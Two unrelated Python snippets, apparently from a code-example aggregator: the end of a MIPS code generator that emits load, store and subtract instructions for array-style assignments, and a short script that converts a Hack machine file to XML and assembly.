                asm.addInstr(['lw', '$s7', '0($fp)', ''])
                asm.addInstr(['li', '$s6', y, ''])
                asm.addInstr(['sub', '$s7', '$s7', '$s6'])
                asm.addInstr(['sw', reg1, '0($s7)', ''])
                # asm.storeReg(z,0)
            elif (op == '+*='):
                reg1 = asm.getReg(z, 0)
                off = ST.infovar[function][x]['offset']
                asm.addInstr(['la', '$s7', str(-off) + '($fp)', ''])
                asm.addInstr(['li', '$s6', y, ''])
                asm.addInstr(['sub', '$s7', '$s7', '$s6'])
                asm.addInstr(['lw', reg1, '0($s7)', ''])
                asm.storeReg(z, 0)
            elif (op == 'cvarass'):
                reg3 = asm.getReg(y, 2)
                off = ST.infovar[function][z]['offset']
                asm.addInstr(['la', '$s7', str(-off) + '($fp)', ''])
                asm.addInstr(['li', '$s6', x, ''])
                asm.addInstr(['sub', '$s7', '$s7', '$s6'])
                asm.addInstr(['sw', reg3, '0($s7)', ''])

    # pprint.pprint(asm.regAssignedVar)
    # pprint.pprint(asm.assembly_code)
    asm.printAssembly()
Beispiel #11
0
from CS410_inst_py import hack2xml
from asm import asm
from instruction import *

# MAIN
hack2xml('machine.hack', 'machine.xml')
assembly = asm('machine.xml', 'assembly.asm')
print(assembly)
assembly.write()